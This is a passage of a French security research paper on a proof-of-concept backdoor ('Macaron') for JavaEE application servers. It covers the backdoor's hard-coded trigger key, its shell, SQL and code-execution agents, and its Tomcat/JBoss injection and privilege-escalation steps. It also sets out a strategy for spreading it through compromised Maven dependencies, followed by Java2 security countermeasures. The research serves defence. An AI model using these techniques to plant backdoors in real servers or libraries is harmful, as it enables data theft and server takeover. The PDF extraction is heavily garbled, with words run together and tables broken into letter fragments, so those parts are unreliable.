ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

